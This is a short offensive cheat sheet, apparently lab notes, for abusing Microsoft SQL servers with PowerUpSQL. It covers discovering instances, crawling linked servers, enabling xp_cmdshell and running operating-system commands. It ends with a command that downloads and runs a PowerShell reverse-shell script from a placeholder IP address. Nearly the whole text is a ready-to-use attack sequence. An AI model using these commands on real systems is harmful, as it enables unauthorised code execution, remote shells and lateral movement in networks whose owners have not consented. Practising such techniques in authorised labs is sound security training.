🟢Abuse MSSQL Servers

. .\PowerUpSQL.ps1

Discovery SPN scanning

Get-SQLInstanceDomain

Check accessibility

Get-SQLConnectionTestThreaded
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded – Verbose

Gather information

Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose

Search for links to remote servers

Get-SQLServerLink -Instance <sql instance> -Verbose

Enumerate database links

Get-SQLServerLinkCrawl -Instance <sql instance> -Verbose

Enable xp_cmdshell

Execute(‘sp_configure “xp_cmdshell”,1;reconfigure;’) AT “<sql instance>”

Execute commands

Get-SQLServerLinkCrawl -Instance <sql instance> -Query "exec master..xp_cmdshell 'whoami'"

Execute reverse shell example

Get-SQLServerLinkCrawl -Instance dcorp-mssql.dollarcorp.moneycorp.local -Query "exec master..xp_cmdshell 'Powershell.exe iex (iwr http://xx.xx.xx.xx/Invoke-PowerShellTcp.ps1 -UseBasicParsing);reverse -Reverse -IPAddress xx.xx.xx.xx -Port 4000'"